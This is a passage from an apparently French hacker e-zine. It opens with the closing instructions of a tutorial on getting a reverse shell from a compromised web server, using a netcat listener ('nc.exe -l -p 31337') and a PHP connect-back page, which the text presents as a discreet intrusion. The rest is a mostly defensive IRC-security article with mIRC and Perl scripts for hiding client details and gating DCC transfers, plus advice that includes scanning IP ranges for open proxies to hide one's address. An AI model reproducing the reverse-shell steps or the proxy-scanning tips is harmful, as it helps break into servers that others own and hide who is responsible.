copier-coller le sur le serveur cible. Installer netcat sur votre PC, si vous etes  sous  BSD 
ou Linux cest trs standard sinon (pour Windows): 

 ftp://ftp.dbnet.ece.ntua.gr/pub/users/george/nc.exe

Lancer: nc.exe -l -p 31337 (le port 31337 peut tre remplacer par ce  que  vous  voulez).  Le 
serveur  WEB  contenant  votre  shell  script  se  connecter sur votre machine au port voulu. 
Assurez-vous donc de ne pas avoir de firewall qui veut rien savoir de  laisser  la  connexion 
passer.
 
Une  fois  netcat lancer, ouvrer le script PHP via un browser tel que   FireFox, IE, Galleon, 
Epiphany, ou nimporte quel autre fork de gecko/mozilla. Dans la page web entrer  votre IP et 
le PORT choisi,  cliquez sur GO et voila, vous avez un beau shell "nobody" trs kitch.

A noter que vous ne verrez pas le shell prompt, donc vous devez taper les commandes  dans  le 
vide. J'aurais  bien aim vous offrir mieux, mais netcat est un logiciel beaucoup  trop  dumb 
pour supporter un vrai terminal telnet :) Si quelqu'un met la main sur un telnet listener qui 
a du sens, faite moi signe.

En conclusion, si vous etes encore la, c'est une faon simple et pratique qui est quand  mme 
assez dissimuler de menez a bien votre intrusion. A noter que cela ne fonctionnera pas si:

 - Le serveur est CHROOTED (of course)
 - La version de PHP est trop vieille (<4.3.0)
 - La configuration de php.ini dsactive l'utilisation de proc_open ou  
   de fsockopen

En  terminant,  sur  toutes  les  versions < 5.0 il semblerait que STDERR n'est pas rediriger 
convenablement. Dtail mineur, mais a peut tre pratique d'avoir les erreurs.

Sur ce, bon plaisir.

                                               __2.psychadelic-toasters-dont-like-white-bread



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |<ReD|WoLf> Quelqu'un s'y connais en hack SVP                  \\_  \_ \   \\_ 1  + 
 || |<ReD|WoLf> je vient de me faire freezzer mes 2 compte hotmail \_ \   \\_  \_ \ 1   
 ||'|<ReD|WoLf> 1 payer et 1 gratuit                                 \\_  \_ \   \\_  x 
 || |<ReD|WoLf> alors quelqu'un peut m'aider SVP                     \_ \   \\_  \_ \  `
 || |* ReD|WoLf has left #hack.fr (Fuck les hacker)                    \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Pour de l'aide, demander un hacker de #hack.fr...                     ]=\:\  |
  \__\__________________________________________________________________________________/ 





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[13]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Scurit sur IRC            ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: spa pcq c'est pas leet qui faut tre stupide              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    Ninja     ]=\:\ _//     
                                                  \__\________________________/__/ 
                               Securit sur IRC

Rsum

   Petit text qui rflte les mthodes que j'utilisent afin de me "protger" sur les serveurs 
IRC. Je ne suggre pas que mes mthodes sont parfaites ni efficaces, mais disons qu'elles ont 
faites leurs preuvent jusqu' maintenant.  Cetainnes  de  ces  mthodes  doivent  modifier le 
comportement du client IRC  utilis, j'ai donc fourni, lorsque ncessaire, un exemple du code 
 utiliser.

Table des matires
   1. Introduction
   2. Pourquoi
   3. Comment
      3.1 Rendre anonyme notre client
      3.2 Auto-Get, Auto-Send, Auto-Chat
      3.3 Securiser ses scripts
      3.4 Trojans, virus, vers
      3.5 Proxy, Wingate, Bouncer
      3.6 La commande 'mode +x'
      3.7 Serveur IRC scuritaire (encryption SSL)
      3.8 Rgles de base
   4. Conclusion

1. Introduction

   Imaginons la situation suivante: votre systme est vulnrable. Une personne   malveillante 
   peut donc avoir un accs complet  votre ordinateur. Cel veut  dire  qu'il  peut faire ce 
   qu'il lui plait: Accder  vos fichiers, scanner pour  d'autre  systme   attaquer, faire 
   des attaque de denis de service (DoS) sur d'autre systme, effacer vos fichiers, etc.

   Mme  si  vous  n'avez  aucuns  fichiers  qui  vaut  la peine d'tre protg, les systmes 
   vulnrables sont souvant utiliss pour lancer  des  attaques  sur  d'autre  systme,  vous 
   fesant parraitre comme l'auteur de ces attaques et  vous  expose  aux  actions criminel et 
   civil.

   De nos jours, les attaques   grande  chelle  sont  fondes  sur  un  rseaux de systmes 
   vulnrable, car les systmes des utilisateurs moyen sont presque toujours mal protgs. En 
   prenant le temps de scuriser votre systme  contre  les  intrusions,  et  en   ragissant 
   rapidement et correctement au cas o votre  systme  soit compromis, vous vous prvenez de 
   devenir un participant non-solicit pour ces attaques.

2. Pourquoi

   Je  suis  sure  que vous comprenez l'importance de scuriser votre systme  contre  toutes 
   formes d'intrusions. Mais peut-tre vous ne voyez pas vraiment  l'utilit  de  la scurit 
   sur IRC, ou vous vous demandez peut-tre en quoi consiste la scurit sur IRC. Laissez moi 
   vous expliquer pourquoi, selon moi,  il  est important de tenir compte de la scurit lors 
   de vos session de bavardages sur les rseaux IRC.

   Supposons que vous avez pass des heures  configurer  votre  systme  et  ces  diffrents 
   programmes afin que votre systme soit protg. Vous vous  tes  arrang  pour   qu'aucune 
   informations sensibles, qui puissent amener votre  systme   tre vulnrable, ne puissent 
   tre obtenu par une personne  malveillante.  Ces  informations  peuvent  tre  le  type de 
   systme d'exploitation  que vous utilis et son numro de version, les diffrents services 
   web (httpd, ftpd, sshd, etc.) ainsi que leur numro de version, etc. Mais vous  utilis un 
   vulgre  client  IRC  qui vous semble tout  fait inoffensif et vous ne vous en proccupez 
   pas. Eh bien!, tout vos efforts ont t pratiquement  fait  en vain, puisque ce client est 
   susceptible de donner certainnes  des informations que vous avez pris la peines de cacher. 
   De plus, il est  possible  que ce vulgre client est une faille de scurit qui permette  
   une personne d'excuter du code arbitraire, et ainsi prendre contrle de votre ordinateur.

3. Comment

   3.1 Rendre anonyme notre client

      Malgr le fait que le protocol dfinie dans le RFC-1459 ne fait aucunement  allusion au 
      CTCP (Client To Client Protocol), la majorit des client IRC  on  une implmentation de 
      ce dernier. Mme si ce protocol n'a jamais t  officiellement  standardis,  un effort 
      collectif de diffrents  auteurs  de  client  IRC on permits au protocol de survivre au 
      temps et de coller  un standard officieux.

      Il est trs facile de determiner quel client vous utilisez,  ainsi que sa version et le 
      systme d'exploitation que vous utilisez. On  peut  donc trouver aisment une faille de 
      securit soit pour le client, soit  pour  le systme d'exploitation. Il est entendu que 
      d'autres mthodes  peuvent  tre  utilise  pour  trouver  quel  client  et/ou   systme 
      d'exploitation  vous  utilisez,  mais  elles ne sont pas dans "scope" de ce texte. Nous
      devons donc empcher le client de divulger des informations qui pourraient  compromette 
      votre securit ou fausser ces dernires afin de brouiller vos traces. L'attaqueur devra 
      donc redoubler  d'effort  afin  d'obtenir  ces  informations.  Voici  les   differentes 
      commandes CTCP que le standard officieux recommande au client d'implementer:

      VERSION,
         Cette requte va donner  l'initiateur des informations particuliaires    propos du 
         client utilis par le rcepteur. Une requte valide  ne  possdera  pas  d'argument. 
         Elle rgnrera une rponse dans la forme  gnrale ci-dessous, avec trois champ dans 
         la rponse:

            Champ1: Nom du client et sa version
            Champ2: Nom du systme d'exploitation et sa version
            Champ3: Contact de l'individu/organisation responsable du client

         Les champs doivent tre combin comme suit:

             <marker>VERSION <field1> <field2> <field3><marker>

         Ex.:
            mIRC
               mIRC32 v5.91 K.Mardam-Bey
               mIRC v6.02 Khaled Mardam-Bey
               mIRC v6.03 Khaled Mardam-Bey
               mIRC v6.11 Khaled Mardam-Bey
               mIRC v6.12 Khaled Mardam-Bey
               mIRC v6.14 Khaled Mardam-Bey
               mIRC v6.16 Khaled Mardam-Bey
            x-chat
               xchat 1.8.9 Linux 2.6.4-ALIZEE [i686/251MHz]
               xchat 2.4.1 Windows 5.1 [i1586/2,79GHz]
               xchat 2.4.1 Linux 2.6.8-1-386 [i686/908.62MHz]
            BitchX
               BitchX-1.0c19+ by panasync - Linux 2.4.20 : Keep it to yourself!
            KVIrc
               KVIrc 3.0.1 'System Virtue' - 2004.03.24 -
                  build Sun Jan 16 04:20:59 UTC 2005 - i686-cefikoprstAGST
            IRSSI
               irssi v0.8.9 - running on Linux i686
               irssi v0.8.9 - running on NetBSD i386
            Eggdrop
               eggdrop v1.4.4
               eggdrop v1.6.16

      PING,

         Cette requte  comme but de dterminer le dlai du voyage que prendra un message de 
         l'initiateur au destinataire  et  de  nouveau    l'initiateur.  Le destinataire est 
         requis  de  renvoyer  une  reproduction exact de l'argument reu, sans modification. 
         Chaque client dfinira  son propre format pour l'argument de 16 octets. Les requtes 
         avec  des  arguments  plus  long  que  16  caractres devraient tre silencieusement 
         ignors.

         La rponse sera du format suivant:

             <marker>PONG <arg><marker>

      ACTION,

         Cette requte est utlis afin de fournir une mthode alternative de communiquer avec 
         un autre utilisateur ou un canal. Le texte devrait  tre traite de faon similaire  
         celui d'une requte PRIVMSG tel que dfini dans le RFC1459.

         Aucune rponse n'est gnr suite a cette requte.

      Les commandes CTCP suivante ne sont plus support par la majorit,  sinon  la totalit, 
      des clients IRC actuel mme si il sont "require" selon le protocol officieux:
      
         CLIENTINFO, (seul BitchX semble encore supporter cette commande)
            Cette requte est utilis pour connatre les capacits du client  utilis  par le 
            rcepteur. La rponse sera une liste de commandes  valide, reconnu par le client, 
            sparr par des espaces.  L'implmentation  courrante de cette commande permet de 
            passer  en  argument  une  commande  support  par  le  client  pour  obtenir  de
            l'informations supplmentaire sur cette dernire.

      La seul commande CTCP qui nous intresse dans ce cas ci est VERSION,  qui  nous  permet 
      d'obtenir  des  informations  en  rapport  avec  le  client  utilis  et  le    systme 
      d'exploitation.  Notez  aussi que certains scripts disponible  pour  certains   clients 
      modifient la rponse du CTCP VERSION, souvant en  votre  faveur,  mais  certains  donne 
      encore plus d'informations que ce que le client aurait fourni.

      Comme X-Chat et BitchX permettent de modifier les requte CTCP  VERSION  et  autres  de 
      faon relativement simple, enfin je crois, je ne  fournirai  pas  de  script  pour  ces 
      derniers. Voici donc, un script crit pour mIRC afin  de  fausser la rponse suite  un 
      CTCP VERSION.
      =--------------------CUT HERE-------------------=
      ; Puisque mIRC  son CTCP VERSION reply hardcoded, nous ne pouvons pas
      ; simplement utiliser le code suivant:
      ;    ctcp &*:VERSION:*:/ctcpreply $nick VERSION BlaBla | /halt
      ; Alors nous devons faire un petit "hack" pour arriver a notre fin.
      ;
      ; Premirment, lors de la connexion, nous allons crer une fentre debug
      ; qui ne serait qu'accesible par la "windows list" de mIRC  partir du
      ; menu "Windows" (l'option -h). Cette fentre aura comme nom
      ; @Debug<server_connection_id>, donc aucun conflit si vous tes connect
      ; sur plus d'un server  la fois.
      on *:connect:{
        .window -h $+(@Debug,$cid)
      ; Ensuite nous ordonnons  mIRC d'appler la fonction Parse_Debug,  chaque
      ; message que le serveur lui envois et vise versa, avec comme argument le
      ; message "raw", donc dans le format spcifier par le RFC1459. Le rsultat
      ; retourn par la fontion Parse_Debug serait affich dans nos fentres
      ; debug. En fait, la fontion ne retournera rien.
        .debug -i $+(@Debug,$cid) Parse_Debug
      ; Ensuite nous ignorons les requte ctcp venant de n'importe qui seulement
      ; pour la connection courante.
        .ignore -t *!*@*
      }
      ; Voici l'alias Parse_Debug qui va nous permettre de voir lorsque des
      ; requte CTCP VERSION nous sont envoy, et gnrer notre propre rponse.
      ; Voici  quoi ressemblera un requte CTCP VERSION format "raw":
      ;    <- :Ninja|tux!~ufmow@66.201.225.99 PRIVMSG Ninja|code :VERSION
      ; Veillez noter que le '<-' est rajouter par mIRC pour qu'il soit plus
      ; claire si le message arrive du serveur ou si c'est un message que nous
      ; envoyons au serveur. Les deux caractres bizzard entourant le mot
      ; VERSION sont en fait des dlimiteurs, le code ASCII de ce caratre est:
      ; DECIMAL | OCTAL | HEXA | CARATRE | DESCRIPTION
      ;    1        1      01       SOH     Start of header
      alias Debug_Parse {
        tokenize 58 $1-
        if ($gettok($3,1,1) == VERSION) {
          var %my_nickreply $gettok($2,1,33)
          var %my_ctcpecho $+($chr(91),[ [ %my_nickreply ] ],$chr(32),VERSION,$chr(93))
          echo $color(Ctcp text) -a %my_ctcpecho
          .ctcpreply %my_nickreply VERSION Why you need to know?
        }
      }
      ; Simple question de sanit, pour viter les risques de multiplication de
      ; fentres @Debug<N>, losque vous perdez la connection avec le serveur
      ; nous arrtons le debug et fermons la fentre. Et puis pour ne pas
      ; remplir inutilement la ignore list ou risquer de foutre le bordel dans
      ; votre "ignore list", nous y enlverons notre entre.
      on *:disconnect:{
        .debug -c off
        .ignore -tr *!*@*
      }
      on *:exit:{
        ; pas besoin d'arrter le debug puisque nous quittons, mIRC s'en occupe
        ; automatiquement.
        ; Comme nous quittons TOUS les serveurs, nous enlevons TOUS les entres
        ; que nous avons cr (-w)
        .ignore -twr *!*@*
      }
      =--------------------CUT HERE-------------------=

   3.2 Auto-Get, Auto-Send, Auto-Chat

      Certains  client  IRC  offrent  des  options qui permettent l'envoie et la reception de 
      fichiers  automatiquement,  ou  de  dmarrer  des  sessions   de    bavardage    (chat) 
      automatiquement. Si ces  options  sont  actives,  elles  permettent  a  n'importe  qui 
      d'obtenir votre adresse ip. De plus, il se peut  qu'un client soit vulnrable  un type 
      d'attaque relier  l'envoie et  la rception de fichier ou de session de bavardage, et 
      l'automatisation des ces dispositifs vous rend un cible idale.

      Il  est  prfrable  d'utiliser  des  "trigger"  qui  vont  former un pseudo-mechanisme 
      d'identification pour ensuite initier l'envoie/reception de fichiers ou de dmarrer une 
      session de bavardage (chat). Une sorte de vrification sanitaire afin d'viter certains 
      type d'attaques. Ces  "trigger"  peuvent  tre  simplement  une  requte  (ou  suite de 
      requtes) CTCP, un PRIVMSG, un NOTICE, etc.
      
      Voici un exemple simple, en PERL, crit pour X-Chat. Le trigger consiste  en une simple 
      requte CTCP.
      =--------------------CUT HERE-------------------=
      #!/usr/bin/perl

      use strict;
      use warnings;

      # Variables
      my $PKG     = __PACKAGE__;
      my $NAME    = "DCC Trigger Protection";
      my $VERSION = "1.0";
      my $H_MSG   = "PRIVMSG";
      my $TRIGGER = "DCCTRIGGER";
      my $DESC    = "pseudo-mechanisme d'identification pour initier les DCC.";

      # On doit absoluement enregistrer notre script auprs de xchat avant de
      # faire quoi que ce soit.
      Xchat::register($NAME, $VERSION, $DESC, "${PKG}::callback");
      # On 'hook' le message $H_MSG
      Xchat::hook_server($H_MSG, "${PKG}::parseTrigger");
      Xchat::print("\02$NAME $VERSION\02 by Ninja");

      # On ignore toutes les requtes de connexions DCC
      Xchat::command('IGNORE *!*@* DCC NOSAVE QUIET');

      sub parseTrigger {
            my ($rawuserhost, $cmd, $nick, @rawdata) = @{$_[0]};
            my (undef, $userhost) = split(':',$rawuserhost);
            my ($snick, undef) = split('!',$userhost);
            my (undef, $data) = split(':',(@rawdata)[0]);

            if ($data eq $TRIGGER) {
                  # On ajoute l'instigateur  la liste d'exception
                  Xchat::command(
                        'IGNORE '.
                        $userhost.
                        ' DCC NOSAVE QUIET UNIGNORE'
                        );
                  # On laisse 5 minutes pour initier une requte DCC
                  Xchat::command(
                        'QUOTE PRIVMSG '.
                        $snick.
                        ' :Vous avez 5 minutes pour initier votre requte DCC.'
                        );
                  Xchat::command(
                        'TIMER 300 UNIGNORE '.
                        $userhost.
                        ' QUIET'
                        );
                  return Xchat::EAT_ALL;
            }
	
            return Xchat::EAT_NONE;
      }

      sub callback {
            Xchat::command('UNIGNORE *!*@* DCC UNIGNORE');
      }

      1;
      =--------------------CUT HERE-------------------=

   3.3 Securiser ses scripts

      Ne jamais utiliser des mecanisme d'autentification bas uniquement  sur  des  nicknames 
      et/ou hostnames. Meme si il sagit de host unique (offert par  different  network) parce 
      qu'il son suceptible d'tre utilis/voler par une  personne  malveillante.  Vous pouvez 
      utiliser le nick et  le  host  dans  des  mechanisme d'autentification seulement si ils 
      servent de support a  un  autre mchanisme d'autentifiaction. N'utilisez pas de scripts 
      qui vous permettent de vous auto-identifier auprs d'un service ou  d'un  bot puisqu'il 
      require que le mot de pass et le nom d'utilisateur soient  conservs  en  quelque part 
      (gnralement un fichier). Il est donc possible,  si  votre  systme est compromis, que 
      quelqu'un accde  ce fichier et vole les  informations  qu'il contien. Il est possible 
      aussi qu'une personne ce  soit  emparr  du  nick  d'un  bot  auprs  duquel  vous vous 
      identifiez, obtenant  ainsi votre nom d'utilisateur et votre mot-de-passe lors de votre
      tentative d'authetification. Vrifiez la validit du service ou bot et  identifiez vous 
      manuellement auprs de ces derniers. Utilisez des mots de  passe  scuritaire.  Ce  que 
      j'entend par mot  de  passe  scuritaire  c'est  qu'il  doit  tre  long,  que  le  mot 
      n'apparaise pas dans le dictionnaire,  qu'il soit constitu de combinaison de caractre 
      alpha-numerique (chiffres  et  lettres)  et  si  le  systme d'identification est 'case 
      sensitive',  profitez en. Trs, trs important, changer vos mots de passe rgulirement
      (une fois par mois n'est pas exagr). Essayez aussi  diffrentes  combinaisons  chaque 
      mois. Aussi trs important, ne JAMAIS garder une liste  de  vos mots de passe sur votre 
      ordinateur, il est plus scuritaire de les  crire  sur  papier ou dans un livret gard 
      dans un endroit scure et/ou secret.

   3.4 Trojan, virus, vers

      Certains scripts/addons changent compltement le fonctionnement habituel   de  certains 
      client  IRC.  Il  est  bien  important  de  prendre  conscience  que  certains  de  ses 
      scripts/addons peuvent contenir des backdoor, des virus ou  des  vers. Ils peuvent donc 
      permettrent, sans que vous en soiyez conscient,  un access  votre ordinateur ou lancer 
      des attaques. Il est primordiale que celui qui utilise un script/addon qui n'est pas de 
      sa conception, connaisse ce que chaque ligne de code fait exactement.
      
      Voici une liste de chose que vous devez ou ne devez pas faire afin de vous  assurez  de 
      n'tre "jamais" infect par un Trojan, virus, vers, etc.:
      
      - Ne jamais cliquer sur les liens qui sont publis sous IRC en provenance  de quelqu'un 
        que vous ne connaissez pas.
      - Ne  jamais  accepter des fichiers de quelqu'un que vous ne connaissez pas.  (voir  la 
        section 3.2 pour plus de dtails)
      - Garder votre systme  jour. Avec plus de  200  nouveaux  virus  reports  par  mois, 
        demain n'est pas le temps de mettre  jour votre systme mais aujourd'hui.  Installez 
        toutes les patches de scurit de votre systme  d'exploitation,  de votre navigateur 
        web (si par malheure vous cliquez  sur  un  mauvais  lien)  et  de  votre logiciel de 
        courriel ncessaires.

   3.5 Proxy, Wingate, Bouncer

      La  faon  la  plus  simple  de cacher son adresse IP lors de vos sessions IRC  est  en  
      passant par un/des Proxys/Socks ou Wingates/Sygates/TelGates.

      Il  n'est  pas  trs difficile de trouver des proxys fonctionnels, une simple recherche 
      sur google avec les terme "proxy" et "list" vous retourne des  centaines de sites. Bien 
      entendu, ce n'est pas tout les proxys qui vont  vous  authoriser   les utiliser, alors 
      parcourrez les diffrentes listes et  testez  ceux  que  vous pouvez utiliser pour vous 
      'bouncer' sur IRC. Une  autre  faon de trouver des proxys est en scannant des segments 
      d'ip    l  recherche  des  ports  8080,  3128, 81 et 80 ou pour des serveurs socks en 
      scannant pour le port 1080. Encore une fois, testez si ces serveurs vous  permettent de 
      vous 'bouncer' sur IRC. Prenez garde, la pluparts des serveurs proxy gardent des 'logs' 
      des connections faites. Donc il est  possible,  si l'effort y est mis, de vous retracer 
      grace  ces 'logs'. Malheureusement, il est maintenant rare de pouvoir se connecter sur 
      des serveurs IRC par l'intermdiaire de proxy, puisse que la majorit vrifie  lors  de 
      la connection si vous tentez de vous connecter par un serveur  proxy/socks  et si c'est 
      le cas, la connection est interrompu. La vrification que font la plupars  des  serveur 
      IRC n'est pas incontournable,  ils  scan simplement l'adresse par laquel vous tentez de 
      vous connecter  pour  les  'well  known' ports de proxy. Mais si le proxy oblige un nom
      d'utilisateur et/ou mot de passe effectuer la connection, les serveur IRC  ne couperont 
      pas votre connexion.

      En ce qui concerne les WinGates/SyGates/TelGates, le fonctionnement  peut-tre  un  peu 
      plus   complexe  qu'un  proxy  (dpends  des  type  de  wingates/sygates  et  de  leurs 
      configurations). Les WinGates permettent au gens de partager une connection sortante et 
      la plupars sont simplement mal configur, et permettent ainsi les connections venant de 
      n'importe o. De  nos  jours, les WinGates oprationnels sont trs dure  trouver et ne
      fonctionneront pas longtemps, ventuellement quelqu'un va se rendre compte  qu'il  t 
      mal configur et va ou va faire fixer le problme. Encore une  fois,  googler  les mots 
      suivant: "wingate" et "lists". Il est aussi possible d'utiliser des scanner de wingates 
      pour les trouver vous mme. Il  y  a  beaucoup  de  scanner  de  disponible,  faite une 
      recherche, a ne devrait pas tre trs dur  trouver.

      Une autre faon de cacher son ip est de passer par  un  'bouncer'.  Il  y  a  plusieurs 
      'bouncer' *nix et certains on t port pour windows (plus sur ce sujet plus loin). Ils 
      sont conus uniquement pour les session IRC et  fonction  comme  des  proxy  IRC.  Pour 
      utiliser un 'bouncer' il faut  premirement un compte 'shell', autement dit, un accs  
      une machine *nix  qui permet les processus en arrire-plan et les connexions sortantes. 
      Mais  la plupars des fournisseur de compte 'shell' gratuit ne les autorises pas,  alors 
      vous devez vous en payer un, sinon bonne chance dans votre  recherche.  La p lupars des 
      fournisseur de 'shell' on aussi ce qu'on appel  des  vhost,  nom de domaine vituel, qui 
      vous permettent de changer votre 'hostname' et de choisir parmis une liste.

      Un exemple:
        Connecter sur un serveur IRC directement, votre 'hostname' ressemble a
        ceci:
          dsl-154-13.aei.ca
          ou
          200-161-141-54.dsl.telesp.net.br
        Connecter sur un serveur IRC par l'intermdaire d'un 'bouncer' avec
        support vhost, votre 'hostname' ressemble a ceci:
          hahaha.undernetsucks.info
          ou
          PLZ.Dont.Ddos.My.56K.vid3otron.biz
          ou
          vive.les.femmes.enchaleur.biz
      Les  vhost  varies  entre  les  diffrent  fournisseurs de 'shell' et la faon  de  les 
      assign aussi.

      Vous  vous  rapplez  surement  que  j'ai  mentionn  les  version  windows de  certains 
      'bouncer'. Je ne vous les recommande pas! Premirement il  est  pratiquement impossible 
      de trouver un fournisseur   de  'bouncer' qui  fonctionne  sous  windows,  votre   seul 
      alternative est de demander  un ami  d'en  installer  un  sur son ordinateur. De plus, 
      ct stabilit, les plateforme *nix n'ont plus  faire leurs preuves. On ne peut pas en 
      dire autant pour windows.

   3.6 La commande 'mode +x'

      Certains rseaux IRC offrent la possibilit de cach votre adresse  ip  ou  'hostname', 
      soit partiellement ou compltement. Il suffit de taper la  commande suivante dans votre 
      client aprs vous tre connecter au serveur:

        /mode <votre_nick> +x

      Prenez note que le rsultat de cette commande diffre d'un rseaux   l'autre. De plus, 
      le mode peut changer selon le rseaux. Par exemple, sur  LinkNet,  'mode +h'  doit tre 
      utilis. Voici comment fonctionne 'mode +x' (et 'alike') sur les 4 plus gros rseaux:

        QuakeNet (~218 000):
          Pour pouvoir utiliser le mode +x sur QuakeNet, vous devez vous  enregistrer  auprs 
          du service Q. Ensuite, vous vous identifiez  Q comme suit:

            /msg Q@CServe.quakenet.org AUTH <votre_username> <votre_password>

          Ensuite vous mettez le mode +x comme dcrit plus haut. Il  est  important  de noter 
          que le mode +x ne fonctionne SEULEMENT lorsque vous  tes  identifier  aupres de Q. 
          Trs important d'utiliser  Q@CServe.quakenet.org  avec  la  commande  login, il est 
          possible que quelqu'un prenne le nick de Q lorsque ce dernier est en netsplit.

        IRCnet (~128 000):
          Ce rseaux ne supporte pas le mode +x ou autres mthodes pour masquer  un hostname. 
          En fait, IRCnet ne possde aucun service.

        Undernet (~121 000):
          Pour pouvoir utiliser le mode +x sur Undernet, vous devez vous  enregistrer  auprs 
          de CService (http://cservice.undernet.org/live/)  puis  vous  identifiez  auprs du 
          robot de service (X) comme suit:

            /msg X@channels.undernet.org login <votre_username> <votre_password>

          Ensuite vous mettez le mode +x comme dcrit plus haut. Il  est  important  de noter 
          que le mode +x ne fonctionne SEULEMENT lorsque vous  tes  identifier  aupres de X. 
          Trs important d'utiliser  X@channels.undernet.org  avec  la commande login, il est 
          possible que quelqu'un prenne le nick de X lorsque ce dernier est en netsplit.

        EFnet (~106 000):
          Ce rseaux ne supporte pas le mode +x ou autres mthodes pour masquer un hostname.

      Si vous utiliser le mchanime fournis par le rseaux pour cacher votre adresse au reste 
      du monde, il est prfrable de le faire avant de joindre  un  canal.  Je  ne  crois pas 
      avoir besoin de vous expliquer le pourquoi. Mais  malgr  cela,  il  est  possible pour 
      quelqu'un d'obtenir votre adresse avant  que  vous  n'aillez  join  un  salon  et   ce, 
      simplement en connaissant votre  nick  habituel. Donc la faon idale est de prendre un 
      nick alatoire avant  de  se  connecter, ensuite utiliser la mode +x ou son quivalant, 
      puis prendre votre nick habituel et finalement joindre vos salons prfrs.

   3.7 Serveur IRC scuritaire (encryption SSL)

      Ce qu'on appel 'Secure IRC', serveur IRC supportant les connexions SSL scuritaire, est 
      encore relativement rare et les clients IRC qui  le  supportent  nativement  sont   peu 
      nombreux. J'ai eu ouie-dire que xchat avait  le  support le plus mature et complet  ce 
      sujet. Mais si vous prfrez un  client  console,  irssi   aussi un excellent support. 
      Plus sur les diffrents clients en fin de ce texte.

      'Secure IRC' est un lment intressant pour tous les maniaques de la  scurit ou pour 
      les fervant dfenceur du droit  la vie prive. Les connections scuritaires permettent 
      de protger l'intimit des messages  envoy  aux  autres  utilisateurs  et  robots   de 
      services, ainsi que de protger la communication dans n'importe quel salon de bavardage 
      priv.

      Parcontre,  il  faut bien comprendre qu'un serveur qui permet les connexions  normal et 
      scuritaire ne protge plus  100% les communications entre  utilisateurs  et  sur  les 
      salons de bavardage. Voici un explication plus  visuel  pour  permettre de mieux saisir 
      cet inconvniant:

      Prenons l'exemple  d'un  serveur  qui  n'autorise  que  les  connexions scuritaire. Un 
      client, C1,  tablie une connextion scuritaire avec un serveur, S1.

      +----+  Connexion scure  +----+
      | C1 |<------------------>| S1 |
      +----+                    +----+

      Un autre client, C2, se connect sur le mme serveur, toujours de faon scuritaire.

      +----+  Connexion scure  +----+  Connexion scure  +----+
      | C1 |<------------------>| S1 |<------------------>| C2 |
      +----+                    +----+                    +----+

      Si C1 envoie un message priv  C2, le message en question sera protg  durant tout le 
      voyage, puisque  les  deux  client  utilise  une  connexion  scure. Mais si le serveur 
      acceptait aussi les connexions non scuritaire,  et  que  C2  tablie une connexion non 
      scuritaire avec le serveur, ce mme  message  ne  serait  maintenant  plus scuritaire 
      durant tout le voyage:

      +----+  Connexion scure  +----+  Connexion non-scuritaire  +----+
      | C1 |<------------------>| S1 |<--------------------------->| C2 |
      +----+                    +----+             I1              +----+

      Il serait maintenant possible d'intercepter, en  I1,  le  message  en  provenance de C1 
      destin  C2, puisque ce dernier utilise une connexion non protg.

      Les serveurs supportant les deux mode de connexion n'offre pas une  protection complte 
      de vos messages priv. Et les serveur exclusivement  'Secure IRC'  ne  vous  offre  pas 
      ncessairement une protection absolue:  Si  les  serveurs d'un rseaux ne sont pas lie 
      ensemble par des connexion  scuritaires,  votre  message  va  un  jour ou l'autre tre 
      expos.

      De faon gnral, on peut dire que les connexion scuritaire avec les  serveurs ne sont 
      utile que sur les rseaux publique, suceptible d'tre  espionn.  Petite  note pour les 
      clients qui ne supporte pas le  'Secure IRC',  il  est  possible  d'utilis des tunnels 
      scuritaire. Il s'agit d'un programme que vous installez sur votre ordinateur, qui joue 
      le rle d'intermdiaire entre vous et le serveur. Il suffit de se connect  localement, 
      avec votre client, sur le programme en question et ce dernier  tablie  une   connexion 
      scuritaire avec le serveur.

      stunnel - encrypt arbitrary TCP connections inside SSL
            http://www.stunnel.org/

   3.8 Rgles de base

      - Activez  le  mode personnel invisible (+i). Il sera plus difficile de vous   trouver. 
        Faite simplement /mode votre_nick +i. Vous ne serai pas  compltement  invisible, les 
        utilisateurs sur le mme salon que vous  pourrons  vous v oir. Vous serez, parcontre, 
        invisible aux utilisateurs  qui  utilisent  les  commande /who et /names. La commande 
        /whois  va  cependant  donner  vos  informations et les salons sur lesquels vous vous
        trouvez.
      - Ne donner aucune informations personnelles: nom, numero de tlphone, adresse  civil, 
        etc.
